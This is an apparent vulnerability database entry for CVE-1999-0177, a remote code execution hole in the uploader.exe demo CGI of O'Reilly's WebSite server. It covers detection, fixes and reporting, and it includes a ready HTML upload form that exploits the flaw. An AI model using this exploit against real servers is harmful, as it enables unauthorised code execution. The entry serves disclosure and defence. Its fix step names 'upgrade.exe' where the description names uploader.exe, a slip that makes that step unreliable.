Uploader

Vulnerability Description

Brief description: O'Reilly's webserver 'website' contains a demo package that contains the cgi-program uploader.exe . Uploader.exe will upload arbitrary files from remote users and, if executable, execute them on the server.

Full description: The uploader.exe program uploads arbitrary files without checking them. It will then execute them.

Components: Website 1.1 (trusted), Website 2.0beta (untrusted)

Systems: Microsoft Windows (trusted)

Effect(s) of exploiting: Attacker can execute commands with webserver's privileges

Detecting the hole:

1. If WebSite 1.1 or 2.0beta is active on the system with uploader.exe present, the vulnerability exists.

Fixing the hole:

1. Remove upgrade.exe from the system.
2. Upgrade to WebSite 2.0 or greater.

Other information:

Keywords

Cataloguing

PA Classification(s):

RISOS Classification(s):

DCS Classification(s):

CVE Number: CVE-1999-0177 -- The uploader program in the WebSite web server allows a remote attacker to execute arbitrary programs.

Exploit Information

Attack: Modify the following HTML to includet the proper hostname, then plug the desired CGI program into the form:

<center>
<FORM ENCTYPE="multipart/form-data" METHOD=POST
ACTION="http://host.of.vulnerable.website/cgi-win/uploader.exe/cgi-win/">

  <INPUT TYPE=HIDDEN NAME="name" VALUE="Foo">

  <INPUT TYPE=HIDDEN NAME="email" VALUE="Foo@bar.com>

  File to upload: <INPUT TYPE=FILE NAME="upl-file" SIZE=40><BR>

  <INPUT TYPE=TEXT SIZE=40 NAME="desc" VALUE="YouGottaSecurityProblem">

  <INPUT TYPE=SUBMIT VALUE="Upload Now">

</FORM>

Related Information

Advisories: ISS X-Force http-website-uploader

Related Vulnerabilities:

Reportage

Reporting: Herman de Vette (herman@info.nl) in BugTraq Message ID: Pine.SUN.3.94.970904165704.19190B-100000@dfw.dfw.net (Thu, 4 Sep 1997 21:38:57 )

Revision Number 1

1. Homer Briggs (6/26/2000):
   Created entry